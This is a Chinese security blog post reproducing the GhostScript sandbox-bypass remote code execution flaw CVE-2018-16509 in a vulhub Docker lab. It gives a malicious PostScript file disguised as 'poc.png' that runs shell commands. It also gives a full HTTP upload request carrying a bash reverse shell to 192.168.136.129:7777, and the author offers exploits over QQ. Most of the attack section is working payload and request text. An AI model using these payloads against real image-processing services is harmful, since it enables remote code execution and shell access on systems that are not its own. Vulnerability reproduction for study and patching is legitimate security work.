GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509

  • A+
所属分类:安全文章

一、环境搭建:

进入镜像目录:

cd vulhub/ghostscript/CVE-2018-16509

启动环境:

docker-compose up -d

访问http://your-ip:8080即可

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509




二、漏洞描述:

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript

8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞。



三、漏洞复现:

1、上传poc.png文件,内容如下:

%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%bash -c "id > /tmp/success && cat /tmp/success") currentdevice putdeviceprops

这是上传的数据包,此环境可以命令回显,但是实际环境基本回显不了的,可以通过dnslog进行验证和回显:

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509



利用dnslog进行验证:

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509



成功收到数据:

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509




2、直接反弹shell:

将命令改为如下payload,测试可以反弹成功:

bash -c "bash -i >& /dev/tcp/192.168.136.129/7777 0>&1"

post数据包:

POST / HTTP/1.1Host: 192.168.136.143:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.136.143:8080/Connection: closeContent-Type: multipart/form-data; boundary=---------------------------237601097528062Content-Length: 435
-----------------------------237601097528062Content-Disposition: form-data; name="file_upload"; filename="poc.png"Content-Type: image/png
%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%bash -c "bash -i >& /dev/tcp/192.168.136.129/7777 0>&1") currentdevice putdeviceprops-----------------------------237601097528062--

发送请求:

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509



成功收到反弹shell:

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509




各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935

备注:公众号+师傅们的id吧,关注我们吧!

GhostScript 沙箱绕过RCE漏洞 CVE-2018-16509




发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: